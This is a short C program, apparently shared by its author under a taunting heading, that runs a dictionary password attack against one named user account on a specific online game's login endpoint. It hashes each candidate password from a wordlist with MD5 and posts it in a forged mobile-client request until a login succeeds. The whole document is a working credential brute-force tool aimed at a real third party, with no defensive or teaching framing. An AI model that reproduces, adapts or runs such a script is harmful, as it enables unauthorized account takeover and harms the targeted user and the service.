one by one they shall fall to the hands of abduct
Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#include <curl/types.h>
#include <curl/easy.h>
#include "md5.h"
void md5sum(char *string, char *output);
size_t static write_callback_func(void *buffer,
size_t size,
size_t nmemb,
void *userp);
int main()
{
char username[56] = "Cyclopes50";
FILE *fd;
char currentpass[56] = {"0"};
char md5pass[33] = {"0"};
char *url = "http://avafight.appspot.com/login";
char post_data[512] = {"0"};
char *content = NULL;
CURL *curl = NULL;
curl = curl_easy_init();
fd = fopen("newae", "r");
if(fd != NULL)
{
while(fgets(currentpass, 56, fd) != NULL)
{
currentpass[strcspn(currentpass, "\n")] = '\0';
printf("current pass: %s\n", currentpass);
md5sum(currentpass, md5pass);
printf("md5 pass: %s\n", md5pass);
sprintf(post_data, "ACT=1&CRC=097550f50eb0f6f44a24e5755bec8f40&CTT={\"PWD\":\"%s\",\"VER\":\"4.2\",\"OS\":2,\"NAME\":\"%s\",\"DEV\":\"353285041710237\",\"TS\":1356109163232,\"LANG\":\"en\"}", md5pass, username);
//printf("%s\n\n", post_data);
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_POST, 1L);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post_data);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback_func);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &content);
curl_easy_perform(curl);
printf("%s\n", content);
if(strstr(content, "\"ERR\"") == NULL)
{
printf("Logged in: %s\n", currentpass);
break;
}
else
{
printf("Failed login\n\n");
}
}
}
curl_easy_cleanup(curl);
return 0;
}
size_t static write_callback_func(void *buffer,
size_t size,
size_t nmemb,
void *userp)
{
char **response_prt = (char **)userp;
*response_prt = strndup(buffer, (size_t)(size * nmemb));
return 0;
}
void md5sum(char *string, char *output)
{
struct md5_ctx ctx;
unsigned char digest[16];
char md5str[33];
int i = 0;
md5_init(&ctx);
ctx.size = strlen(string);
strcpy((char *)ctx.buf, string);
md5_update(&ctx);
md5_final(digest, &ctx);
for(i = 0; i < 16; ++i)
{
sprintf(&md5str[i*2], "%02x", (unsigned int)digest[i]);
}
strcpy(output, md5str);
return;
}